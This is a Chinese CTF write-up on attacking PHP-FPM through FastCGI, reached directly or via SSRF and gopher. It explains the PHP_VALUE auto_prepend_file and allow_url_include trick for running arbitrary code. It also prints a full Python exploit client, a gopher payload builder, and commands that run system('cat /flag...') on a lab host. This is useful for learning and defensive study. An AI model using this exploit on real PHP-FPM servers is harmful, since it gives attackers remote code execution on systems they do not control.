前言

如果需要理解fastcgi攻击，就需要先了解一些基础知识，明白fastcgi到底是什么，参考文章http://49.232.222.195/index.php/archives/193/,当然，根本不够，还需要一些知识，将会在这里讲解，其实也是抄的，内容来自博主https://www.freebuf.com/author/ATL%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F

知识

还是举那个例子
用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：

{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1'}
这个数组其实就是PHP中$_SERVER数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组，也是告诉fpm：“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，是/var/www/html/index.php。

php-fpm攻击实现原理
PHP-FPM默认监听的端口是9000，一般情况会只会接受127.0.0.1也就是本地的请求。但是如果配置不当让这个端口暴露在公网之中，我们就可以按照FastCGI的规则，自己构造数据包与FPM通信。当然如果没有配置错误我们就需要通过SSRF来利用服务器做跳板来攻击了。

这里就就牵扯到了FPM接收数据包中的一个值了：SCRIPT_FILENAME，这个值指向的就是要执行的文件，只要我们自己构造这个值，就可以执行任意PHP文件。

在FPM某个版本前我们可以指定任意后缀的文件，比如：/etc/passwd。但后来，fpm的默认配置中增加了一个选项 security.limit_extensions ，其限定了只有某些后缀的文件允许被fpm执行，默认是.php。所以，当我们再传入/etc/passwd的时候，将会返回 Access denied. 。所以我们只能执行服务器上现有的PHP文件。这样危害并不大，如果我们需要达到任意代码执行，还需要了解一些东西
auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。
那么，我们设置 auto_prepend_file 为 php://input ，（需要注意同样也要配置远程文件包含选项 allow_url_include ）那么就等于在执行任何php文件前都要包含一遍POST的内容。那么我们只要将要执行的代码放在body中，就可以执行任意的代码了。

那么我们要怎么设置我们想要配置的值呢，这又涉及到发给PHP-FPM数据包中的另两个值，PHP_VALUE 和 PHP_ADMIN_VALUE 。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项，PHP_ADMIN_VALUE 可以设置所有选项。

所以我们配置 PHP_VALUE 为 auto_prepend_file = php://input ， PHP_ADMIN_VALUE 为 allow_url_include = On 然后将我们需要执行的代码放在Body中，即可执行任意代码。

例题

可以自己搭环境文章链接：https://bbs.ichunqiu.com/thread-58455-1-1.html
或者
CTFHub-SSRF-FastCGI实践
利用脚本

import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)

理解脚本的作用帮助你更好理解攻击
该脚本的作用是通过与PHP-FPM服务器建立连接，发送HTTP请求并获取响应。它可以发送POST请求到指定的PHP文件，并在请求中包含自定义的PHP代码
先在自己虚拟机上监听9000端口，将内容写到1.txt

然后运行我们的exp脚本：

命令：python [脚本名] -c [要执行的代码] -p [端口号] [ip] [要执行的php文件]

将文件复制到和脚本的同级目录
利用gopher

import urllib.parse
from urllib.parse import quote, unquote, urlencode
file= open('1.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

直接去打
我们可以看到虽然页面出现了一定的乱码，但是我们还是可以看到成功执行了命令，并展示出了根目录下的文件，我们可以观察到其中就有 flag_052c3b0c46ee677f6f63b629f7f314a1 这个文件，我们在更改执行的命令在来一遍。

监听端口，然后执行exp，不过这次的命令是：

python Attack.py -c "<?php system('cat /flag_052c3b0c46ee677f6f63b629f7f314a1');?>" -p 9000 192.168.48.129 /var/www/html/index.php

再次用gopher得到
或者我们可以利用工具，方便但是不能帮助你理解原理

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 #这里输入的是一个已知存在的php文件
whoami  #需要执行的命令